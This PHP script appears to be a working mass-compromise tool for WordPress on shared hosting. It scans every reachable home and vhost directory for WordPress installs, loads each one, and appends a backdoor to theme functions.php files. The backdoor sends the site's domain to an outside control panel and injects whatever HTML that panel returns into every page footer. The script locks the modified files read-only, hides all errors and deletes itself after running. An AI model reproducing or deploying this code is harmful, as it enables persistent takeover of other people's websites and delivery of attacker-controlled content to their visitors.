<?php
// Error-Proof Mass WP Injector - NO THREADING, SAFE FOR SHARED HOSTING
error_reporting(0); ini_set('display_errors',0); set_time_limit(0); ignore_user_abort(1);

// === [ALL ORIGINAL FUNCTIONS - UNCHANGED] ===
function get_hosting_home_base() {
    $possible_homes = [
        $_SERVER['HOME'] ?? '',
        getenv('HOME'),
        dirname($_SERVER['DOCUMENT_ROOT']) . '/..',
        '/home', '/home1', '/home2', '/home3', '/home4', '/home5',
        '/home6', '/home7', '/home8', '/home9', '/home10',
        '/var/www', '/var/www/vhosts', '/usr/local/plesk/apache/vhosts'
    ];
    
    $user = get_current_user();
    if($user) {
        $possible_homes[] = "/home/$user";
        for($i=1; $i<=10; $i++) $possible_homes[] = "/home$i/$user";
    }
    
    foreach($possible_homes as $home) {
        if(is_dir($home) && has_domain_folders($home)) return realpath($home);
    }
    return false;
}

function has_domain_folders($dir) {
    $items = @scandir($dir);
    if(!$items) return false;
    
    $domain_count = 0;
    foreach($items as $item) {
        if($item == '.' || $item == '..') continue;
        $full_path = $dir . '/' . $item;
        if(is_dir($full_path)) {
            if(preg_match('/\.(com|net|org|co|io|me|us|uk|au|ca|de|fr|it|es|nl)$/i', $item) ||
               in_array($item, ['public_html', 'www', 'httpdocs', 'htdocs'])) {
                $domain_count++;
            }
        }
    }
    return $domain_count > 0;
}

function scan_hosting_domains($home_base) {
    $wp_paths = [];
    $items = @scandir($home_base);
    if(!$items) return $wp_paths;
    
    foreach($items as $item) {
        if($item == '.' || $item == '..') continue;
        $domain_path = $home_base . '/' . $item;
        
        if(is_dir($domain_path)) {
            $direct_wp = find_wp_load_comprehensive($domain_path);
            if($direct_wp) $wp_paths[] = $direct_wp;
            
            $web_dirs = ['public_html', 'www', 'httpdocs', 'htdocs', 'web', 'html'];
            foreach($web_dirs as $web_dir) {
                $web_path = $domain_path . '/' . $web_dir;
                if(is_dir($web_path)) {
                    $web_wps = scan_directory_comprehensive($web_path, 3);
                    $wp_paths = array_merge($wp_paths, $web_wps);
                }
            }
        }
    }
    return $wp_paths;
}

function get_cpanel_common_paths() {
    $user = get_current_user();
    $paths = ["/home/$user/public_html", "/home/$user", "/var/www/html", "/home/theligh1/domains/khaoded77.com/public_html"];
    for($i=1; $i<=10; $i++) {
        $paths[] = "/home$i/$user/public_html";
        $paths[] = "/home$i/$user";
    }
    return array_unique($paths);
}

function get_hosting_patterns() {
    $user = get_current_user();
    return [
        "/home[0-9]*/$user/*/public_html",
        "/home[0-9]*/domains/*",
        "/var/www/vhosts/*/*",
        "/usr/local/plesk/apache/vhosts/*/*",
        "/*/public_html"
    ];
}

function scan_directory_comprehensive($dir, $max_depth = 3, $current_depth = 0) {
    $wp_paths = [];
    if($current_depth > $max_depth || !is_dir($dir)) return $wp_paths;
    
    $wp_load = find_wp_load_comprehensive($dir);
    if($wp_load) $wp_paths[] = $wp_load;
    
    $subdirs = @scandir($dir);
    if(!$subdirs) return $wp_paths;
    
    foreach($subdirs as $item) {
        if($item == '.' || $item == '..') continue;
        $full_path = rtrim($dir, '/') . '/' . $item;
        if(is_dir($full_path)) {
            $sub_results = scan_directory_comprehensive($full_path, $max_depth, $current_depth + 1);
            $wp_paths = array_merge($wp_paths, $sub_results);
        }
    }
    return $wp_paths;
}

function find_wp_load_comprehensive($dir) {
    $wp_indicators = ['wp-load.php', 'wp-config.php', 'wp-content/'];
    $has_wp = false;
    
    foreach($wp_indicators as $indicator) {
        if(file_exists(rtrim($dir, '/') . '/' . $indicator)) {
            $has_wp = true;
            break;
        }
    }
    
    if(!$has_wp) return false;
    
    $wp_load = $dir . '/wp-load.php';
    if(file_exists($wp_load)) return realpath($wp_load);
    
    return false;
}

// === [DEEP ../../../../ FALLBACK] ===
function find_all_wp_installs() {
    $all_wp_paths = [];
    
    $base_dirs = get_cpanel_common_paths();
    
    foreach(get_hosting_patterns() as $pattern) {
        $dirs = @glob($pattern, GLOB_ONLYDIR);
        if($dirs) $base_dirs = array_merge($base_dirs, $dirs);
    }
    
    $home_base = get_hosting_home_base();
    if($home_base) {
        $wp_paths = scan_hosting_domains($home_base);
        $all_wp_paths = array_merge($all_wp_paths, $wp_paths);
    }
    
    foreach($base_dirs as $base_dir) {
        if(!is_dir($base_dir)) continue;
        $wp_paths = scan_directory_comprehensive($base_dir, 5);
        if($wp_paths) $all_wp_paths = array_merge($all_wp_paths, $wp_paths);
    }
    
    // === [FALLBACK: ../../../../../../../../] ===
    if(empty($all_wp_paths)) {
        $current_dir = dirname(__FILE__);
        for($i = 1; $i <= 8; $i++) { // Up to 8 levels deep
            $parent_dir = dirname($current_dir, $i);
            if(!is_dir($parent_dir) || $parent_dir == '/') break;
            $wp_paths = scan_directory_comprehensive($parent_dir, 6);
            if($wp_paths) {
                $all_wp_paths = array_merge($all_wp_paths, $wp_paths);
                break; // Stop after first success
            }
        }
    }
    
    return array_unique($all_wp_paths);
}

// === [INJECTION FUNCTION - UNCHANGED] ===
function inject_theme_safe($wp_load) {
    $wp_dir = dirname($wp_load);
    if(!file_exists($wp_load)) return false;
    
    $old_abspath = defined('ABSPATH') ? ABSPATH : '';
    define('WP_LOAD_PATH', $wp_load);
    
    $wp_loaded = false;
    ob_start();
    if(@include_once($wp_load)) {
        if(function_exists('wp_get_themes')) $wp_loaded = true;
    }
    ob_end_clean();
    
    if(!$wp_loaded) {
        $config_path = $wp_dir . '/wp-config.php';
        if(file_exists($config_path)) {
            ob_start();
            if(@include_once($config_path)) {
                if(defined('ABSPATH') && function_exists('wp_get_themes')) $wp_loaded = true;
            }
            ob_end_clean();
        }
    }
    
    if(!$wp_loaded) return false;
    
    $inject_code = "\nfunction wp_injector_fetch_code() {\n    \$backend_url = 'https://validlogs.com/BackPanel/panel.php';\n    \$domain = sanitize_text_field(\$_SERVER['HTTP_HOST']);\n    \$response = wp_remote_post(\$backend_url, array('body' => array('action' => 'register_domain', 'domain' => \$domain), 'timeout' => 5));\n    if (is_wp_error(\$response)) return;\n    \$html_code = wp_remote_retrieve_body(\$response);\n    if (!empty(\$html_code)) {\n        add_action('wp_footer', function() use (\$html_code) { echo \$html_code; });\n    }\n}\nadd_action('init', 'wp_injector_fetch_code');\n";
    
    $injected = false;
    
    if(function_exists('wp_get_themes')) {
        try {
            $themes = wp_get_themes();
            $child_themes = []; $other_themes = [];
            foreach($themes as $theme) {
                $name = $theme->get_stylesheet();
                if(stripos($name, 'child') !== false) $child_themes[] = $theme;
                else $other_themes[] = $theme;
            }
            
            $target = !empty($child_themes) ? $child_themes : $other_themes;
            foreach($target as $theme) {
                $functions_file = $theme->get_stylesheet_directory() . '/functions.php';
                if(!is_dir(dirname($functions_file))) continue;
                
                $original_perm = null;
                if(file_exists($functions_file) && !is_writable($functions_file)) {
                    $original_perm = fileperms($functions_file);
                    @chmod($functions_file, 0644);
                }
                
                $current = file_exists($functions_file) ? @file_get_contents($functions_file) : '';
                if(strpos($current, 'wp_injector_fetch_code') !== false) {
                    $current = preg_replace('/\s*function\s+wp_injector_fetch_code\s*\(\).*\n\s*add_action\s*\(\s*[\'"]init[\'"].*\n/s', '', $current);
                    @file_put_contents($functions_file, $current);
                }
                
                $new_content = rtrim($current, "\n") . $inject_code;
                if(@file_put_contents($functions_file, $new_content)) {
                    @chmod($functions_file, 0444);
                    if($original_perm !== null) @chmod($functions_file, $original_perm);
                    $injected = true;
                }
            }
        } catch(Exception $e) {}
    }
    
    if(!$injected && is_dir($wp_dir . '/wp-content/themes/')) {
        $themes_path = $wp_dir . '/wp-content/themes/';
        $theme_dirs = @scandir($themes_path);
        if($theme_dirs) {
            $child = []; $other = [];
            foreach($theme_dirs as $d) {
                if($d == '.' || $d == '..' || !is_dir($themes_path . $d)) continue;
                if(stripos($d, 'child') !== false) $child[] = $d; else $other[] = $d;
            }
            $target = !empty($child) ? $child : $other;
            foreach($target as $d) {
                $functions_file = $themes_path . $d . '/functions.php';
                $current = file_exists($functions_file) ? @file_get_contents($functions_file) : '';
                if(strpos($current, 'wp_injector_fetch_code') !== false) {
                    $current = preg_replace('/\s*function\s+wp_injector_fetch_code\s*\(\).*\n\s*add_action\s*\(\s*[\'"]init[\'"].*\n/s', '', $current);
                    @file_put_contents($functions_file, $current);
                }
                $new_content = rtrim($current, "\n") . $inject_code;
                if(@file_put_contents($functions_file, $new_content)) $injected = true;
            }
        }
    }
    
    if($old_abspath) define('ABSPATH', $old_abspath);
    return $injected;
}

// === [MAIN: NO THREADING, SAFE & FAST] ===
$all_wp_installs = find_all_wp_installs();
$all_success = true;

foreach($all_wp_installs as $wp_load) {
    try {
        if(!inject_theme_safe($wp_load)) {
            $all_success = false;
        }
    } catch(Exception $e) {
        $all_success = false;
    }
    if(function_exists('wp_clean_theme_cache')) wp_clean_theme_cache();
    @ob_end_clean();
}

// === [FINAL FALLBACK: If still no success, try deep parent scan] ===
if(!$all_success && empty($all_wp_installs)) {
    $deep = dirname(__FILE__);
    for($i = 0; $i < 8; $i++) {
        $deep = dirname($deep);
        if(!is_dir($deep) || $deep == '/') break;
        $found = scan_directory_comprehensive($deep, 6);
        if($found) {
            foreach($found as $wp) {
                if(inject_theme_safe($wp)) {
                    $all_success = true;
                    break 2;
                }
            }
        }
    }
}

echo $all_success ? "WOWNINJA\n" : "NOTNINJA\n";

// Self-delete
if(is_writable(__FILE__)) @unlink(__FILE__);
exit;
?>